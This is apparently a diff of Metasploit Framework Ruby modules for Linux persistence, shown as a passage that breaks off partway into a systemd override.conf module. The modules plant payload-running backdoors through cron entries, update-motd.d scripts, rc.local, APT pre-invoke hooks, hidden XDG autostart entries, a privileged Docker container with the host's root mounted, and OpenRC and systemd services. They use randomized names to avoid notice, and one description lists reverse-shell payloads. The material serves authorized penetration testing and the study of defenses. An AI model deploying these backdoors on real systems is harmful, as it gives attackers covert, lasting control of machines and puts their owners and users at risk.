cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
unless datastore['TIMING'] =~ /#{cron_regex}/
fail_with(Failure::BadConfig, 'Invalid timing format')
end
cron_entry = datastore['TIMING']
if target.name.include? 'User Crontab'
unless user_cron_permission?(datastore['USERNAME'])
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
end
else
cron_entry += " #{datastore['USERNAME']}"
end
flag = Rex::Text.rand_text_alpha(10)
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
case target.name
when 'Cron'
our_entry = Rex::Text.rand_text_alpha(10)
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
if datastore['CLEANUP']
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
end
when 'System Crontab'
file_to_clean = "#{target.opts[:path]}/crontab"
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
when 'User Crontab'
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
# at least on ubuntu, we need to reload cron to get this to work
vprint_status('Reloading cron to pickup new entry')
cmd_exec("service cron reload")
end
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
Rex.sleep(datastore['WfsDelay'].to_i)
# we may need to do some cleanup, no need for cron since that uses file dropper
# we could run this on a on_successful_session, but we want cleanup even if it fails
if file_to_clean && flag && datastore['CLEANUP']
print_status("Removing our cron entry from #{file_to_clean}")
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
if target.name == 'User Crontab' # make sure we clean out of memory
cmd_exec("service cron reload")
end
end
end
def user_cron_permission?(user)
# double check we're allowed to do cron
# may also be /etc/cron.d/
paths = ['/etc/', '/etc/cron.d/']
paths.each do |path|
cron_auth = read_file("#{path}cron.allow")
if cron_auth
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_good("User located in #{path}cron.allow")
return true
end
end
cron_auths = read_file("#{path}cron.deny")
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_error("User located in #{path}cron.deny")
return false
end
end
# no guidance, so we should be fine
true
end
end
@@ -1,63 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'update-motd.d Persistence',
'Description' => %q{
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
The payload will be executed with root privileges everytime a user logs in.
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
]
)
)
register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
end
def exploit
update_path = '/etc/update-motd.d/'
unless exists? update_path
fail_with Failure::BadConfig, "#{update_path} doesn't exist"
end
unless writable? update_path
fail_with Failure::BadConfig, "#{update_path} is not writable"
end
backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
if exists? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
end
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
chmod(backdoor_path, 0o755)
print_status "#{backdoor_path} written"
end
end
@@ -1,65 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'rc.local Persistence',
'Description' => %q{
This module will edit /etc/rc.local in order to persist a payload.
The payload will be executed on the next reboot.
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "#%\n",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python ruby netcat perl'
}
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def exploit
rc_path = '/etc/rc.local'
unless writable? rc_path
fail_with Failure::BadConfig, "#{rc_path} is not writable"
end
print_status "Reading #{rc_path}"
# read /etc/rc.local, but remove `exit 0`
rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
# add payload and put back `exit 0`
rc_local << "\n#{payload.encoded}\nexit 0\n"
# write new file
print_status "Patching #{rc_path}"
write_file(rc_path, rc_local)
end
end
@@ -0,0 +1,110 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/apt_package_manager_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'APT Package Manager Persistence',
'Description' => %q{
This module will run a payload when the APT package manager is used.
This module creates a pre-invoke hook for APT in apt.conf.d. Write access
to the apt.conf.d directory is required, typically requiring root access.
The hook name is randomized if not specified.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
'Platform' => ['linux', 'unix'],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
]
)
end
def check
return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)
CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
end
def install_persistence
fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
hook_path = datastore['HOOKPATH']
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
if payload.arch.first == 'cmd'
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
write_file(payload_path, generate_payload_exe)
fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
print_status("Backdoor uploaded #{payload_path}")
# permissions chosen to reflect common perms in /usr/local/bin/
chmod(payload_path, 0o755)
print_status('Attempting to write hook')
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
@clean_up_rc << "rm #{payload_path}\n"
end
write_file(datastore['HOOKPATH'], hook_script)
fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
print_status("Wrote #{datastore['HOOKPATH']}")
print_good('Backdoor will run on next APT update')
@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
end
end
@@ -0,0 +1,130 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::FileDropper
include Msf::Post::Linux::User
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/autostart_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Autostart Desktop Item Persistence',
'Description' => %q{
This module will create an autostart .desktop entry to execute a payload.
The payload will be executed when the users logs in.
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
The following payloads were used in testing:
- cmd/unix/reverse_netcat
- linux/x64/meterpreter/reverse_tcp
- cmd/linux/http/x64/meterpreter/reverse_tcp
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '#%\n"'
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
])
end
def check
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
# https://unix.stackexchange.com/a/237750
return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
CheckCode::Detected('Xorg is installed, possible desktop install.')
end
def target_user
return datastore['USER'] unless datastore['USER'].blank?
whoami
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
user = target_user
home = get_home_dir(user)
vprint_status('Making sure the autostart directory exists')
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
path = "#{home}/.config/autostart/#{name}.desktop"
print_status("Uploading autostart file #{path}")
autostart_stub = [
'[Desktop Entry]',
'Type=Application',
"Name=#{name}",
'NoDisplay=true',
'Terminal=false'
]
if payload.arch.first == 'cmd'
write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
@clean_up_rc << "rm #{payload_path}\n"
end
if whoami != user
cmd_exec("chown #{user}:#{user} #{path}")
unless payload.arch.first == 'cmd'
cmd_exec("chown #{user}:#{user} #{payload_path}")
end
end
print_good("Backdoor will run on next login by #{user}")
@clean_up_rc << "rm #{path}\n"
end
end
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Docker Image Persistence',
'Description' => %q{
This module maintains persistence on a host by creating a docker image which runs our
payload, and has access to the host's file system (/host in the container). Whenever the
container restarts, the payload will run, or when the payload dies the executable
will run again after a delay. This will allow for writing back
into the host through cron entries, ssh keys, or other method.
Verified on Ubuntu 22.04.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => [ 'linux' ],
'Arch' => [
# ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],
],
'DisclosureDate' => '2013-03-20', # docker's release date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),
]
)
end
def check
# we don't need this check since the payload is in the docker image
# print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe('docker is required') unless command_exists?('docker')
vprint_status('Checking Docker availability and permissions...')
output = cmd_exec('docker ps 2>&1')
if output.include?('permission denied')
return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
end
CheckCode::Detected('docker app is installed and accessible')
end
def install_persistence
# Step 1: Prepare payload
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{writable_dir}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
upload_and_chmodx(backdoor, generate_payload_exe)
# Step 2: Prepare entrypoint script (loops indefinitely)
sleep_time = datastore['SLEEP']
entry_script = <<~SCRIPT
#!/bin/sh
while true; do
if [ -x /usr/local/bin/#{file_name} ]; then
# Check if it's already running
if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then
/usr/local/bin/#{file_name} &
fi
fi
sleep #{sleep_time}
done
SCRIPT
entry_file = "#{writable_dir}/entrypoint.sh"
unless write_file(entry_file, entry_script)
fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}")
end
chmod(entry_file, 0o755)
# Step 3: Pull Alpine image
cmd_exec('docker pull alpine')
# Step 4: Create a temporary container (stopped) to copy files in
tmp_container = cmd_exec('docker run -dit alpine sh').strip
vprint_status("Temporary container created: #{tmp_container}")
# Copy payload and entrypoint into container
cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")
cmd_exec("docker cp #{entry_file} #{tmp_container}:/")
cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")
cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")
# Commit a new persistent image
persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"
cmd_exec("docker commit #{tmp_container} #{persistent_image}")
print_good("Persistent image created: #{persistent_image}")
# Remove temporary container
cmd_exec("docker rm #{tmp_container}")
# Step 5: Start container with internal entrypoint
container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip
print_good("Container started with internal entrypoint: #{container_id}")
# Step 6: Add cleanup commands for RC
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"
# Step 7: Clean up host temp files
rm_f(backdoor)
rm_f(entry_file)
# Step 8: Stop tmp image
print_status('Stopping and removing temp container')
cmd_exec("docker stop #{tmp_container}")
cmd_exec("docker rm #{tmp_container}")
print_status("Payload installed and running with #{sleep_time}-second loop in container")
end
end
@@ -0,0 +1,157 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/service_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Init OpenRC Persistence',
'Description' => %q{
This module will create a service on the box via OpenRC, and mark it for auto-restart.
We need enough access to write service files and potentially restart services.
Verified against alpine 3.21.2
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => ['unix', 'linux'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '2007-04-05' # openrc release date
)
)
register_options(
[
OptString.new('SERVICE', [false, 'Name of service to create']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
]
)
register_advanced_options(
[
OptBool.new('EnableService', [true, 'Enable the service', true])
]
)
end
def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')
CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
backdoor = write_shell(writable_dir)
path = backdoor.split('/')[0...-1].join('/')
file = backdoor.split('/')[-1]
openrc(path, file)
end
def write_shell(path)
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
if payload.arch.first == 'cmd'
write_file(backdoor, payload.encoded)
chmod(backdoor, 0o755)
else
upload_and_chmodx(backdoor, generate_payload_exe)
end
@clean_up_rc << "rm #{backdoor}\n"
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
backdoor
end
def openrc(backdoor_path, backdoor_file)
if payload.arch.first == 'cmd'
script = %(#!/sbin/openrc-run
name=#{backdoor_file}
command=/bin/sh
command_args="#{backdoor_path}/#{backdoor_file}"
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
)
else
script = %(#!/sbin/openrc-run
name=#{backdoor_file}
command="#{backdoor_path}/#{backdoor_file}"
command_args=""
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
)
end
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
service_path = "/etc/init.d/#{service_filename}"
vprint_status("Writing service: #{service_path}")
begin
upload_and_chmodx(service_path, script)
@clean_up_rc << "rm #{service_path}\n"
rescue Rex::Post::Meterpreter::RequestError
print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
end
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)
if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("rc-update add '#{service_filename}'")
@clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
end
print_good('Starting service')
cmd_exec("'#{service_path}' start")
end
end
@@ -0,0 +1,218 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Post::Linux::User # get_home_dir
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/service_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service SystemD Persistence',
'Description' => %q{
This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
Targets:
CentOS 7
Debian >= 7, <=8
Fedora >= 15
Ubuntu >= 15.04
Verified on Ubuntu 18.04.3
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <mike@shorebreaksecurity.com>',
'Cale Black' # user target
],
'Platform' => ['unix', 'linux'],
'Privileged' => true,
'Targets' => [
['systemd', {}],
['systemd user', {}]
],
'DefaultTarget' => 0,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '2010-03-30' # systemd release date
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
OptString.new('SERVICE', [false, 'Name of service to create']),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),
]
)
register_advanced_options(
[
OptBool.new('EnableService', [true, 'Enable the service', true])
]
)
end
def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
end
def target_user
return datastore['USER'] unless datastore['USER'].blank?
whoami
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
backdoor = write_shell(writable_dir)
path = backdoor.split('/')[0...-1].join('/')
file = backdoor.split('/')[-1]
case target.name
when 'systemd'
systemd(path, file)
when 'systemd user'
systemd_user(path, file)
end
end
def write_shell(path)
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
if payload.arch.first == 'cmd'
write_file(backdoor, payload.encoded)
chmod(backdoor, 0o755)
else
upload_and_chmodx backdoor, generate_payload_exe
end
@clean_up_rc << "rm #{backdoor}\n"
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
backdoor
end
def service_file(exec, target = 'multi-user.target')
<<~EOF
[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RestartSec=10s
Restart=always
TimeoutStartSec=5
RemainAfterExit=yes
ExecStart=#{exec}
[Install]
WantedBy=#{target}
EOF
end
def systemd(backdoor_path, backdoor_file)
if payload.arch.first == 'cmd'
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")
else
script = service_file("#{backdoor_path}/#{backdoor_file}")
end
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
service_name = "/lib/systemd/system/#{service_filename}.service"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
@clean_up_rc << "rm #{service_name}\n"
if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("systemctl enable #{service_filename}.service")
end
vprint_status('Starting service')
cmd_exec("systemctl start #{service_filename}.service")
end
def systemd_user(backdoor_path, backdoor_file)
if payload.arch.first == 'cmd'
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')
else
script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')
end
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
user = target_user
home = get_home_dir(user)
vprint_status('Creating user service directory')
cmd_exec("mkdir -p #{home}/.config/systemd/user")
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)
@clean_up_rc << "rm #{service_name}\n"
if !file_exist?(service_name)
print_error('File not written, check permissions. Attempting secondary location')
vprint_status('Creating user secondary service directory')
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
vprint_status("Writing .local service: #{service_name}")
write_file(service_name, script)
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
@clean_up_rc << "rm #{service_name}\n"
end
# This was taken from pam_systemd(8)
systemd_socket_id = cmd_exec('id -u')
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
vprint_status('Reloading manager configuration')
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
end
vprint_status("Starting service: #{service_filename}")
# Prefer restart over start, as it will execute already existing service files
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
end
end
@@ -0,0 +1,155 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service SystemD override.conf Persistence',
'Description' => %q{
This module will create an override.conf file for a SystemD service on the box.
The ExecStartPost hook is used to launch the payload after the service is started.
We need enough access (typically root) to write in the /etc/systemd/system
directory and potentially restart services.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
